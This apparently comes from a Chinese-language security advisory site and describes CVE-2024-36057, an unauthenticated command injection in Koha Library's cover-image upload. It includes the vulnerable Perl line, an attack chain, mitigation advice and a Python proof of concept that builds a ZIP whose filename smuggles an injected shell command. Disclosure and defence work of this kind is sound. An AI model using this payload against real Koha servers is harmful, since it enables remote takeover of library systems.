IPBUF安全漏洞报告
English
CVE-2024-36057 CVSS 9.8 严重

CVE-2024-36057 Koha Library远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2024-36057
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Koha Library

相关标签

RCE命令注入KohaCVE-2024-36057CVSS-9.8

漏洞概述

Koha Library 23.05.10之前版本存在严重的远程代码执行漏洞。漏洞原因在于`upload-cover-image.pl`脚本在处理用户上传的ZIP文件时,未对文件名进行充分清理,直接将其传递给系统解压命令。攻击者无需身份认证,可通过构造包含Shell元字符的恶意文件名,在服务器端执行任意系统命令,完全控制受影响的服务器。

技术细节

该漏洞属于典型的操作系统命令注入(OS Command Injection)。漏洞点位于Koha的`upload-cover-image.pl`文件中的代码行`qx/unzip $filename -d $dirname/;`。在Perl中,`qx`运算符用于执行外部系统命令,类似于反引号。程序设计初衷是解压用户上传的ZIP文件到指定目录,但由于未对`$filename`进行安全校验,攻击者可以控制文件名内容。攻击者构造一个ZIP文件,其中包含带有Shell元字符(如分号`;`、反引号`` ` ``或管道符`|`)的文件名。当系统调用`unzip`命令时,Shell会将这些元字符解释为命令分隔符,从而执行攻击者注入的任意命令。由于该接口未要求身份验证(PR:N),且通过网络即可触达(AV:N),任何能够访问服务器的攻击者均可利用此漏洞获取系统最高权限。

攻击链分析

STEP 1
1
攻击者准备一个特制的ZIP文件,内部包含带有Shell元字符(如`;`)的文件名。
STEP 2
2
攻击者将此恶意ZIP文件上传到Koha Library系统的封面上传接口(upload-cover-image.pl)。
STEP 3
3
管理员或系统自动触发“Process Images”处理流程。
STEP 4
4
脚本执行`qx/unzip`命令,Shell解析文件名中的元字符,导致注入的命令在服务器上执行。
STEP 5
5
攻击者成功获取服务器权限,可进一步进行横向移动或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2024-36057: Command Injection via Zip Filename import zipfile import sys # The command to inject (e.g., create a file or reverse shell) # Using semicolon to chain commands in the shell payload = "; touch /tmp/pwned_by_cve_2024_36057; #" # The vulnerable script expects image files, so we disguise the payload # The filename inside the zip will look like: image.jpg; touch /tmp/pwned... #.jpg malicious_filename = f"cover{payload}.jpg" print(f"[*] Creating malicious zip file with filename: {malicious_filename}") # Create a zip file containing a file with the malicious name with zipfile.ZipFile("exploit_cve_2024_36057.zip", "w", zipfile.ZIP_DEFLATED) as zf: zf.writestr(malicious_filename, "This is dummy image content.") print("[*] 'exploit_cve_2024_36057.zip' created successfully.") print("[*] Upload this file to the vulnerable Koha instance and trigger 'Process Images'.")

影响范围

Koha Library < 23.05.10

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响的封面上传功能,并在网络边界限制对相关接口的访问,仅允许可信IP地址访问,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表